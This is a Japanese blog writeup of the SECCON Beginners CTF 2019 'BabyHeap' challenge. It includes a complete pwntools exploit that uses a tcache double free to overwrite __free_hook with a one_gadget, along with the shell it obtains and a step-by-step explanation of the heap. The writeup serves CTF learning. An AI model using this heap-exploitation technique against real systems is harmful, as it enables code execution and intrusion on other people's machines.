SECCON Beginners CTF 2019 BabyHeap Writeup
はじめに
5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.
お疲れ様でした。
— Maru (@GmS944y) 2019年5月26日
#ctf4b pic.twitter.com/QG3vfwFlB9
BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.
配布されたファイル
実行ファイルとライブラリが配布されました.
- babyheap
- libc-2.27.so
ファイルの調査
$ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped $ checksec.sh --file babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap
プログラムの動作
$ ./babyheap Welcome to babyheap challenge! Present for you!! >>>>> 0x7f54f180ca00 <<<<< MENU 1. Alloc 2. Delete 3. Wipe 0. Exit >
プレゼント
実行するとプレゼントとして_IO_2_1_stdin_
のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_
のオフセットを引くとライブラリのベースアドレスを入手できます.
_IO_2_1_stdin_
のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin 00000000003eba00 D _IO_2_1_stdin_ 00000000003ec850 D stdin
- 例:
0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000
MENU
- Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrが
NULL
の場合のみ). - Delete: mallocで確保した領域を解放(free).
- Wipe: mallocで確保した領域へのアドレスを格納した変数ptrを
NULL
. - Exit: プログラムを終了.
とりあえず結果
エクスプロイトコード
from pwn import * stdin_off = 0x3eba00 one_gadget_off = 0x4f322 free_hook_off = 0x3ed8e8 s = remote("localhost", 9999) s.recvuntil(">>>>> ") stdin_addr = eval(s.recv(14)) info("stdin_addr: 0x{:08x}".format(stdin_addr)) libc_base = stdin_addr - stdin_off info("libc_base: 0x{:08x}".format(libc_base)) free_hook = libc_base + free_hook_off info("free_hook: 0x{:08x}".format(free_hook)) one_gadget = libc_base + one_gadget_off info("one_gadget: 0x{:08x}".format(one_gadget)) # step1: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("AAAAAAAA") # step2: free(1回目) s.recvuntil("> ") s.sendline("2") # step3: free(2回目) s.recvuntil("> ") s.sendline("2") # step4: wipe s.recvuntil("> ") s.sendline("3") # step5: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(free_hook)) # step6: wipe s.recvuntil("> ") s.sendline("3") # step7: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("BBBBBBBB") # step8: wipe s.recvuntil("> ") s.sendline("3") # step9: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(one_gadget)) # step10: free s.recvuntil("> ") s.sendline("2") s.interactive()
実行結果
$ python solve.py [+] Opening connection to localhost on port 9999: Done [*] stdin_addr: 0x7f4e8212aa00 [*] libc_base: 0x7f4e81d3f000 [*] free_hook: 0x7f4e8212c8e8 [*] one_gadget: 0x7f4e81d8e322 [*] Switching to interactive mode $ id uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)
処理を追ってみる
step1~10に分けて処理を見ていきたいと思います.
step1
まず,1. Alloc
を選択してデータAAAAAAAA
を入力します.
そうすると,上図のようにアドレス0x555555757250
に領域を確保(chunk X とします.)し,データが格納されます.
ちなみに,アドレス0x555555757258
の0x41はchunkのサイズとchunkを管理するための情報なので入力したA
とは関係ありません.
step2
次に2. Delete
を選択して確保した領域を解放します.
今回のように小さなサイズを解放した場合,tcache
に繋いでfree済みchunkを管理します.
step3
再び2. Delete
を選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.
step4
3. Wipe
を選択し,再び1. Alloc
が可能な状態にします.
step5
1. Alloc
を選択し,データとして書き込み先のアドレスを格納します.
step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).
step6
3. Wipe
を選択し,再び1. Alloc
が可能な状態にします.
step7
step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcache
に___free_hook
へのアドレスが格納されます.
step8
3. Wipe
を選択し,再び1. Alloc
が可能な状態にします.
step9
step8の状態でmallocを行うと,あたかも__free_hook
周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.
step10
step9の状態でfreeを行うと__free_hook
に格納されたonegadget-rce
のアドレスが呼び出され,シェルが起動します.
おわりに
疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.